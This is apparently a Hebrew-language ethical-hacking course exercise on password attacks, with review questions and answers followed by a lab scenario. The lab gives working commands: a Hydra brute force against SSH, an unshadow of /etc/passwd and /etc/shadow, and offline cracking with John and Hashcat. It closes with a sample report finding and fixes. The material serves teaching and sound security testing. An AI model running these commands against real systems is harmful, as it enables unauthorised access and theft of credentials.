

מודול 8 — תרגול

חומר לימוד

1 יחידות

תוכן העניינים

1.  תרגול — מודול 8: מתקפות סיסמאות

תרגול — מודול 8: מתקפות סיסמאות

חלק א' — שאלות תרגול (עם תשובות). חלק ב' — תרגיש מהחיים האמיתיים.

חלק א' — שאלות תרגול

- Q1.** מה ההבדל בין מתקפה מקוונת (Online) ללא-מקוונת (Offline)? יתרון אחד לכל אחת.
- Q2.** מהו Hash, ולמה לא ניתן "להפוך" אותו חזרה לסיסמה?
- Q3.** איזה כלי מזהה את סוג ה-Hash, ולמה זה קריטי לפני סדיקה?
- Q4.** מהי rockyou.txt וכמה סיסמאות בערך היא מכילה?
- Q5.** כתוב פקודת Hydra לתקיפת SSH על 10.0.0.5 עם משתמש admin ו-rockyou-1.
- Q6.** מה עושה unshadow, ומתי משתמשים בו?
- Q7.** מה ההבדל בין John ל-Hashcat?
- Q8.** מדוע Password Spraying נמנע מנעילת חשבונות טוב יותר מ-Brute Force?

תשובות

- מקוון = תקיפת שירות חי (איטי/רועש/נוצל); לא-מקוון = סדיקת Hash שהושג (מהיר/שקט). יתרון מקוון: לא צריך Hash מראש; יתרון לא-מקוון: ללא הגבלות קצב.
- טביעת אצבע חד-כיוונית; פונקציית ה-Hash אינה הפיכה — סודקים ע"י ניחוש+השוואה.
- hashid (או hash-identifier); Hashcat/John; צריכים את ה-mode הנכון כדי לסדוק.
- Wordlist מדלף אמיתי; ~14 מיליון סיסמאות.
- hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.0.0.5.
- ממזג /etc/passwd + /etc/shadow לפורמט ש-John סודק; אחרי השגת גישה למכונת Linux.
- CPU — John, נוח/אוטומטי; GPU — Hashcat, מהיר בהרבה, דורש -m מדויק.
- Spraying מנסה סיסמה אחת לכל משתמש (ניסיון בודד לחשבון) → לא מפעיל את מונה הנעילה.

חלק ב' — תרחיש מהחיים האמיתיים

“מסיסמה חלשה לשליטה”

במהלך בדיקה פנימית, המנייה (מודול 6) חשפה שירות SSH ושם משתמש `admin`. **בצע במעבדה** (Metasploitable או מכונת תרגול):

```
# 1. תקיפה מקוונת
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://<target> -t 4

# 2. גישה עם הפרטים שנמצאו
ssh admin@<target>

# 3. נוספים Hashes אחרי גישה – השג
sudo unshadow /etc/passwd /etc/shadow > crack.txt

# 4. ישירות unshadow קורא את פורמט John – סדיקה לא-מקוונת:
john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt

# – עצמו (בלי שם המשתמש והשדות) hash-לעומת זאת, צריך רק את ה Hashcat,
# :ורק אז מריצים hash-לכן מחלצים תחילה את עמודת ה
cut -d: -f2 crack.txt > hashes.txt

hashcat -m 1800 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
```

המשימה: 1. מצא את סיסמת ה-`admin` (מקוון). 2. לאחר גישה, סדוק לפחות סיסמה נוספת אחת (לא-מקוון). 3. כתוב ממצא לדוח: סוג החולשה, חומרה, PoC, והמלצת תיקון.

פתרון מנחה

Hydra ימצא את הסיסמה החלשה תוך שניות/דקות. לאחר `unshadow`, John/Hashcat יסדקו סיסמאות משתמשים נוספים. **ממצא לדוגמה:** “סיסמאות חלשות (חומרה High): `admin` נסדק מקוונת, ושתי סיסמאות נוספות נסדקו מ-`shadow`. תיקון: MFA + מדיניות סיסמאות + נעילת חשבון.”

 שים לב לשרשרת: משתמש (מודול 5/6) → סיסמה (מקוון) → גישה → Hashes נוספים (לא-מקוון).
זה הבסיס לתנועה רוחבית (מודול 12) ו-AD (מודול 13).

← חזרה למודול · תרגילים מעשיים